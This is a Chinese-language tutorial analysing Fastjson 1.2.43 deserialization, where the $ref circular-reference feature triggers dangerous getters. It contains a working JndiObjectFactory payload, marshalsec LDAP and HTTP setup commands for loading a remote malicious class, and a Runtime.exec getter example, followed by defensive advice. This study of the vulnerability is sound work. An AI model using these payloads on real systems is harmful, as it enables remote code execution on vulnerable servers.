通过一个payload学习fastjson中的循环引用
字数 1223 2025-08-09 15:23:08
Fastjson循环引用($ref)漏洞分析与利用
前言
本文详细分析Fastjson中循环引用($ref)属性的利用方式,通过具体payload演示漏洞触发过程,帮助理解Fastjson反序列化漏洞中的这一特殊利用技巧。
环境准备
- Fastjson版本: 1.2.43
- JDK版本: 1.8.161
- 测试工具:
- marshalsec (搭建LDAP服务器)
- Python简易HTTP服务器(托管恶意类)
漏洞Payload分析
基础Payload
String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\"," +
"\"ResourceName\":\"ldap://127.0.0.1:1389/ldapServer\"," +
"\"a\":{\"$ref\":\"$.instance\"}}";
JSON.parse(payload);
漏洞触发流程
-
LDAP服务器设置:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#ldapServer 1389 -
HTTP服务器托管恶意类:
- 在8000端口运行Python HTTP服务器
- 托管
ldapServer.class恶意类(实现弹计算器等恶意操作)
漏洞原理分析
Fastjson解析流程
-
parse入口:
- 解析JSON字符串时,Fastjson会处理
@type指定的类 - 对类属性进行反序列化操作
- 解析JSON字符串时,Fastjson会处理
-
handleResovleTask处理:
- 解析过程中会维护
resolveTaskList - 通过
addResolveTask函数添加解析任务
- 解析过程中会维护
-
parseField处理:
- 当解析到字段时,会检查类中是否存在该字段
- 如果字段不存在,进入
parseExtra处理
循环引用($ref)的特殊处理
-
$ref语法识别:
- 当解析到
{时,token赋值为12 - 进入
parseObject处理对象
- 当解析到
-
$ref键值解析:
- 识别到
$ref作为key - ref值为
$.instance(指向目标属性)
- 识别到
-
JSONPath.eval调用:
- 通过JSONPath表达式解析引用路径
- 最终触发目标类的getter方法
关键触发点
-
getJavaBeanSerializer处理:
- 根据传入类获取类中的方法
- 识别"get"开头的方法并加入getters集合
-
getFieldValue调用:
- 通过
propertyNameHash定位字段 - 最终调用对应的getter方法
- 通过
-
getInstance触发:
- 对于
JndiObjectFactory类,调用getInstance方法 - 触发
lookup操作,加载远程恶意类
- 对于
通用利用模式
该技术不仅限于特定类,可以应用于任何具有危险getter方法的类:
public class TestObject {
public String getHaha() throws IOException {
Runtime.getRuntime().exec("calc");
return "1";
}
}
利用Payload:
String payload = "{\"@type\":\"TestObject\",\"haha\":{\"$ref\":\"$.Haha\"}}";
JSON.parse(payload);
防御建议
-
升级Fastjson:
- 使用最新版本Fastjson,已修复已知漏洞
-
安全配置:
- 使用
SafeMode防止任意类反序列化 - 配置
ParserConfig限制可反序列化的类
- 使用
-
输入过滤:
- 对JSON输入中的
@type和$ref进行过滤 - 避免解析不可信的JSON数据
- 对JSON输入中的
总结
Fastjson的循环引用($ref)特性通过JSONPath表达式可以触发特定类的getter方法,结合@type指定恶意类,可导致远程代码执行。理解这一机制有助于更好地防御Fastjson反序列化漏洞。